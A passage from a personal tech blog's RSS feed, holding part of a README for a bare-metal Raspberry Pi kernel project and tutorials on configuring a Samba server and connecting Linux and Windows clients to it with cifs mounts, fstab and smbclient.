&lt;li&gt;An a SD Card.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="software"&gt;
Software
&lt;a href="#software" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;a href="https://www.raspberrypi.org/software/"&gt;Pi Imager&lt;/a&gt; program.&lt;/li&gt;
&lt;li&gt;A Linux/Unix development environment to build the project.&lt;/li&gt;
&lt;li&gt;A Serial Console emulator (suggested: &lt;code&gt;screen&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="toolchain"&gt;
Toolchain
&lt;a href="#toolchain" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;An ARM Cross-Compiler Toolchain:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For building the 32-bit kernel: &lt;code&gt;arm-none-eabi-gcc&lt;/code&gt;: &lt;a href="https://developer.arm.com/tools-and-software/open-source-software/developer-tools/gnu-toolchain/gnu-rm/downloads"&gt;Download from ARM website - For Linux x86_64 Hosts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;For building the 64-bit kernel: &lt;code&gt;aarch64-none-elf-gcc&lt;/code&gt; &lt;a href="https://developer.arm.com/tools-and-software/open-source-software/developer-tools/gnu-toolchain/gnu-a/downloads"&gt;Download from ARM website - For Linux x86_64 Hosts&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="instructions"&gt;
Instructions
&lt;a href="#instructions" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="install-toolchain"&gt;
Install Toolchain
&lt;a href="#install-toolchain" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;For detailed instructions, see the &lt;a href="https://github.com/thanoskoutr/armOS/wiki/Install-Toolchain"&gt;Install Toolchain&lt;/a&gt; wiki page.&lt;/p&gt;
&lt;h3 id="serial-connection-with-raspberry-pi"&gt;
Serial Connection with Raspberry PI
&lt;a href="#serial-connection-with-raspberry-pi" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;For detailed instructions, see the &lt;a href="https://github.com/thanoskoutr/armOS/wiki/Serial-Connection"&gt;Serial Connection&lt;/a&gt; wiki page.&lt;/p&gt;
&lt;h3 id="running-on-raspberry-pi"&gt;
Running on Raspberry Pi
&lt;a href="#running-on-raspberry-pi" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;For detailed instructions, see the &lt;a href="https://github.com/thanoskoutr/armOS/wiki/Installation"&gt;Installation&lt;/a&gt; wiki page.&lt;/p&gt;
&lt;p&gt;Basic overview of the steps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Format the SD card, with the Raspberry Pi Imager.&lt;/li&gt;
&lt;li&gt;Set cross-compiler path on the Makefile.&lt;/li&gt;
&lt;li&gt;Clone the project.&lt;/li&gt;
&lt;li&gt;Build project using &lt;code&gt;Makefile&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Transfer &lt;code&gt;.img&lt;/code&gt;, &lt;code&gt;config.txt&lt;/code&gt; to SD Card.&lt;/li&gt;
&lt;li&gt;Unmount SD card.&lt;/li&gt;
&lt;li&gt;Put SD card on Pi.&lt;/li&gt;
&lt;li&gt;Connect USB-to-TTL serial cable to the Pi and Linux host.&lt;/li&gt;
&lt;li&gt;Open &lt;code&gt;screen&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Power on the Pi.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="generating-documentation"&gt;
Generating Documentation
&lt;a href="#generating-documentation" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;In order to generate the Doxygen documentation locally, see the &lt;a href="https://github.com/thanoskoutr/armOS/wiki/Generate-Docs"&gt;Generate Docs&lt;/a&gt; wiki page.&lt;/p&gt;
&lt;h3 id="implementation-details"&gt;
Implementation Details
&lt;a href="#implementation-details" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;For information about the source code, see on &lt;a href="https://github.com/thanoskoutr/armOS/wiki"&gt;Wiki&lt;/a&gt;, the &lt;em&gt;Implementation&lt;/em&gt; section.&lt;/p&gt;
&lt;p&gt;For detailed documentation of all the source code, generated by Doxygen, describing all the structures and functions of the project, see the &lt;a href="https://thanoskoutr.github.io/armOS/"&gt;GitHub Pages&lt;/a&gt; hosted site.&lt;/p&gt;
&lt;h2 id="technologies-used"&gt;
Technologies Used
&lt;a href="#technologies-used" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;A complete list of all the technologies used in this project:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Technology&lt;/th&gt;
&lt;th&gt;Selection&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Editor&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Visual Studio Code&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Host OS&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Ubuntu 20.04&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cross-Compiler&lt;/td&gt;
&lt;td&gt;&lt;code&gt;arm-none-eabi-gcc&lt;/code&gt;, &lt;code&gt;aarch64-none-elf-gcc&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Binutils&lt;/td&gt;
&lt;td&gt;&lt;code&gt;objdump&lt;/code&gt;, &lt;code&gt;objcopy&lt;/code&gt;, &lt;code&gt;size&lt;/code&gt;, &lt;code&gt;nm&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Building&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Make&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Scripts&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Bash&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Documentation&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Doxygen&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CI&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Travis CI&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Static Hosting&lt;/td&gt;
&lt;td&gt;&lt;code&gt;GitHub Pages&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Version Control&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Git&lt;/code&gt;, &lt;code&gt;GitHub&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Console Emulator&lt;/td&gt;
&lt;td&gt;&lt;code&gt;screen&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Boards&lt;/td&gt;
&lt;td&gt;Raspberry Pi 4, Raspberry Pi Zero W&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hardware&lt;/td&gt;
&lt;td&gt;SD card, USB-to-TTL Serial cable&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="resources"&gt;
Resources
&lt;a href="#resources" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="manuals"&gt;
Manuals
&lt;a href="#manuals" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.raspberrypi.org/documentation/hardware/raspberrypi/bcm2835/README.md"&gt;BROADCOM BCM2835&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.raspberrypi.org/documentation/hardware/raspberrypi/bcm2711/README.md"&gt;BROADCOM BCM2711&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.arm.com/documentation/101811/latest"&gt;AArch64 memory management&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="wikis"&gt;
Wikis
&lt;a href="#wikis" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://wiki.osdev.org/ARM_RaspberryPi_Tutorial_C"&gt;OSDev.org - Raspberry Pi Bare Bones&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.arm.com/"&gt;ARM Developer&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="repositories"&gt;
Repositories
&lt;a href="#repositories" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/torvalds/linux/tree/master/arch/arm"&gt;Linux Kernel - /arch/arm/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/s-matyukevich/raspberry-pi-os"&gt;Learning operating system development using Linux kernel and Raspberry Pi&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://jsandler18.github.io/"&gt;Building an Operating System for the Raspberry Pi&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/dwelch67/raspberrypi"&gt;Raspberry Pi ARM based bare metal examples&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/bztsrc/raspi3-tutorial"&gt;Bare metal Raspberry Pi 3 tutorials&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/isometimes/rpi4-osdev"&gt;Writing a &amp;ldquo;bare metal&amp;rdquo; operating system for Raspberry Pi 4&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="book"&gt;
Book
&lt;a href="#book" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://littleosbook.github.io/"&gt;The little book about OS development&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Samba Client Configure</title><link>https://thanoskoutr.com/posts/samba-client-configure/</link><pubDate>Thu, 15 Apr 2021 01:12:00 +0300</pubDate><guid>https://thanoskoutr.com/posts/samba-client-configure/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/samba.png"/&gt;
&lt;p&gt;After you have already &lt;a href="https://thanoskoutr.com/posts/samba-configure/"&gt;set up a Samba server&lt;/a&gt;, we will see in this post how to install and connect a Windows or a Linux machine to that Samba server. There are a lot of ways to do it, and we will use both the terminal and the GUI way for Linux.&lt;/p&gt;
&lt;h2 id="samba-client-on-linux"&gt;
Samba Client on Linux
&lt;a href="#samba-client-on-linux" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="using-terminal-and-etcfstab"&gt;
Using terminal and &lt;code&gt;/etc/fstab&lt;/code&gt;
&lt;a href="#using-terminal-and-etcfstab" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;For a permanent mount of the network folders after a reboot, we can edit the &lt;code&gt;fstab&lt;/code&gt; file in order to mount the drives after a start up.&lt;/p&gt;
&lt;h4 id="mounting-the-samba-share"&gt;
Mounting the Samba share
&lt;a href="#mounting-the-samba-share" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;To mount a Samba share on Linux first you need to instal the &lt;code&gt;cifs-utils&lt;/code&gt; package.
On Ubuntu and Debian run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install cifs-utils
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Next, create a mount point (It is important for the directory to exist before mounting):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo mkdir /mnt/smbuser
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Mount the share using the following command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo mount -t cifs -o username&lt;span style="color:#f92672"&gt;=&lt;/span&gt;username,uid&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;id -u&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;,gid&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;id -g&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt; //samba_hostname_or_server_ip/sharename /mnt/smbuser
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For example, to mount a share named &lt;code&gt;smbuser&lt;/code&gt; on a Samba server with IP address &lt;code&gt;192.168.1.99&lt;/code&gt; as user &lt;code&gt;smbuser&lt;/code&gt; to the &lt;code&gt;/mnt/smbuser&lt;/code&gt; mount point, with the current&amp;rsquo;s user ownership, you would run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo mount -t cifs -o username&lt;span style="color:#f92672"&gt;=&lt;/span&gt;smbuser,uid&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;id -u&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;,gid&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;id -g&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt; //192.168.1.99/smbuser /mnt/smbuser
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="credentials-file"&gt;
Credentials File
&lt;a href="#credentials-file" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;You can also create a credential file in order to not specify every time the password.&lt;/p&gt;
&lt;p&gt;Create a credentials file in your home directory, e.g. &lt;code&gt;/home/$USER/.smbuser&lt;/code&gt; (replace &lt;code&gt;$USER&lt;/code&gt; with your username in the following commands):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;user=smbuser
password=mySecretPassword
domain=192.168.1.99
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Mount the shared folder, using the credentials file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo mount -t cifs -o credentials&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/home/$USER/.smbuser,uid&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;id -u&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;,gid&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;id -g&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt; //192.168.1.99/smbuser /mnt/smbuser
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="edit-fstab"&gt;
Edit fstab
&lt;a href="#edit-fstab" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;Now in order for the mount to be persistent we have to edit &lt;code&gt;/etc/fstab&lt;/code&gt;. Append the following line:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;//192.168.1.99/smbuser /mnt/smbuser cifs credentials=/home/$USER/.smbuser,uid=1000,gid=1000 0 0
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;For the &lt;code&gt;uid&lt;/code&gt;, &lt;code&gt;gid&lt;/code&gt; options, we have to add the id of the user we want to have ownership explicitly because fstab cannot run the previous commands. For Ubuntu the first non-root user has &lt;code&gt;uid=gid=1000&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;After you add the entry to /etc/fstab type:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo mount -a
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This will (re)mount all entries listed in &lt;code&gt;/etc/fstab&lt;/code&gt;.&lt;/p&gt;
&lt;h4 id="unmount-folder"&gt;
Unmount folder
&lt;a href="#unmount-folder" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;In order to unmount a folder, run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo umount /mnt/smbuser
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="using-gui"&gt;
Using GUI
&lt;a href="#using-gui" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The default file manager (Nautilus) in Gnome has built-in option to access Samba shares.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open Files and click on &amp;ldquo;Other Locations&amp;rdquo; in the sidebar.&lt;/li&gt;
&lt;li&gt;In &amp;ldquo;Connect to Server&amp;rdquo;, enter the address of the Samba share in the following format: &lt;code&gt;smb://192.168.1.99/smbuser&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Click &amp;ldquo;Connect&amp;rdquo; and a login screen will appear.&lt;/li&gt;
&lt;li&gt;Select &amp;ldquo;Registered User&amp;rdquo;, enter the Samba username and password and click &amp;ldquo;Connect&amp;rdquo;.&lt;/li&gt;
&lt;li&gt;The files on the Samba server will be shown.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="using-smbclient"&gt;
Using smbclient
&lt;a href="#using-smbclient" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;You can also access samba with the command line tool &lt;code&gt;smbclient&lt;/code&gt;. To install on Ubuntu and Debian run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install smbclient
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="connect-to-samba-with-smbclient"&gt;
Connect to Samba with smbclient
&lt;a href="#connect-to-samba-with-smbclient" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;The syntax to access a Samba share is as follows:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;smbclient //samba_hostname_or_server_ip/share_name -U username
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For example, to connect to a share named &lt;code&gt;smbuser&lt;/code&gt; on a Samba server with IP address &lt;code&gt;192.168.1.99&lt;/code&gt; as user &lt;code&gt;smbuser&lt;/code&gt; you would run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;smbclient //192.168.1.99/smbuser -U smbuser
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You will be prompted to enter the user password.
Once you enter the password you will be logged into the Samba command line interface.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Try &lt;span style="color:#e6db74"&gt;&amp;#34;help&amp;#34;&lt;/span&gt; to get a list of possible commands.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;smb: &lt;span style="color:#ae81ff"&gt;\&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="samba-client-on-windows"&gt;
Samba Client on Windows
&lt;a href="#samba-client-on-windows" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Windows users also have an option to connect to the Samba share from both command line and GUI. The steps below show how to access the share using the Windows File Explorer.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open up File Explorer and in the left pane right-click on &amp;ldquo;This PC&amp;rdquo; and select &amp;ldquo;Add Network Location&amp;rdquo;.&lt;/li&gt;
&lt;li&gt;Select &amp;ldquo;Choose a custom network location&amp;rdquo; and then click &amp;ldquo;Next&amp;rdquo;.&lt;/li&gt;
&lt;li&gt;In &amp;ldquo;Internet or network address&amp;rdquo;, enter the address of the Samba share in the following format &lt;code&gt;\\192.168.1.99\smbuser&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Click &amp;ldquo;Next&amp;rdquo; and you will be prompted to enter the login credentials.&lt;/li&gt;
&lt;li&gt;In the next window you can type a custom name for the network location. The default one will be picked up by the Samba server.&lt;/li&gt;
&lt;li&gt;Click &amp;ldquo;Next&amp;rdquo; to move to the last screen of the connection setup wizard.&lt;/li&gt;
&lt;li&gt;Click &amp;ldquo;Finish&amp;rdquo; and the files on the Samba server will be shown.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://linuxize.com/post/how-to-install-and-configure-samba-on-ubuntu-18-04/"&gt;How to Install and Configure Samba on Ubuntu 18.04&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ubuntu.com/tutorials/install-and-configure-samba#4-setting-up-user-accounts-and-connecting-to-share"&gt;Ubuntu Tutorials - 4. Setting up User Accounts and Connecting to Share&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Samba Configure</title><link>https://thanoskoutr.com/posts/samba-configure/</link><pubDate>Tue, 13 Apr 2021 00:26:00 +0300</pubDate><guid>https://thanoskoutr.com/posts/samba-configure/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/samba.png"/&gt;
&lt;h2 id="install-samba"&gt;
Install Samba
&lt;a href="#install-samba" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Install samba:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt update
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install samba
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Check if the installation successful:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;whereis samba
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The expected output should be something like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;samba: /usr/sbin/samba /usr/lib/samba /etc/samba /usr/share/samba /usr/share/man/man7/samba.7.gz /usr/share/man/man8/samba.8.gz
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="configure-firewall"&gt;
Configure Firewall
&lt;a href="#configure-firewall" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;If you have a firewall running on your Ubuntu system you’ll need to allow incoming UDP connections on ports &lt;strong&gt;137 and 138&lt;/strong&gt; and TCP connections on ports &lt;strong&gt;139 and 445&lt;/strong&gt;.
Assuming you are using UFW to manage your firewall, you can open the ports by enabling the &lt;code&gt;samba&lt;/code&gt; profile:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ufw allow samba
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="configuring-global-samba-options"&gt;
Configuring Global Samba options
&lt;a href="#configuring-global-samba-options" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Before making changes to the Samba configuration file, create a backup for future reference purposes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo cp /etc/samba/smb.conf&lt;span style="color:#f92672"&gt;{&lt;/span&gt;,.backup&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Open &lt;code&gt;/etc/samba/smb.conf&lt;/code&gt; and make sure server role is set to standalone server:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code class="language-conf" data-lang="conf"&gt;# Most people will want &amp;#34;standalone sever&amp;#34; or &amp;#34;member server&amp;#34;.
# Running as &amp;#34;active directory domain controller&amp;#34; will require first
# running &amp;#34;samba-tool domain provision&amp;#34; to wipe databases and create a
# new domain.
server role = standalone server
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="creating-samba-users-and-directory-structure"&gt;
Creating Samba Users and Directory Structure
&lt;a href="#creating-samba-users-and-directory-structure" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="create-samba-directory"&gt;
Create Samba Directory
&lt;a href="#create-samba-directory" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;All Samba directories and data will be located in the &lt;code&gt;/samba&lt;/code&gt; directory. To create the &lt;code&gt;/samba&lt;/code&gt; directory type:&lt;/p&gt;
